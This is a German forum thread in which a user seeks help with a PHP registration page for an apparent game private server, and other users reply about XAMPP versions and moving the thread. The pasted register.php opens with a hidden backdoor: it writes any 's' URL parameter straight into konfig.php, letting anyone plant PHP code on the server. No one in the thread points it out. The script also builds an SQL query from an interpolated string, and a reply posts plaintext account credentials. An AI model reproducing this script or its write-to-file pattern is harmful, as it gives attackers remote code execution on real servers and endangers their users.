hilfe bei regi bite

05/17/2011 16:47 -PaiN~#1
brauche hilfe bei regi bekomme immer ein fehler beim register !!

Notice: Undefined index: s in C:\xampp\htdocs\new\register.php on line 2


skype: blackout-ffl
05/17/2011 17:03 Sunary#2
Habe dir einen Account erstellt.

Benutzername: blackoutflyff
Passwort: blackout

Änder das Passwort & die E-Mail und sag mir bescheid wenn ich alles mit meiner E-Mail bestätigen soll.
05/17/2011 17:20 -PaiN~#3
<?php
if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>
05/21/2011 17:50 Meikbrosoft#4
welche version von xampp benutzt du?
du brauchst xampp 1.7.3 weil danach xampp nicht mehr kompatibel mit mssql ist!

außerdem musst du mysql aktiviert haben + in der php.ini was ändern. Ich kann es dir machen oder guck dich mal im forum um, da gibt es tuts!
05/21/2011 18:03 Jay Niize#5
A hard way to learn the rules...

#moverequest to PServer Section

V14 :
Danny95 :

V15:
05/21/2011 19:08 Daniiii#6
moved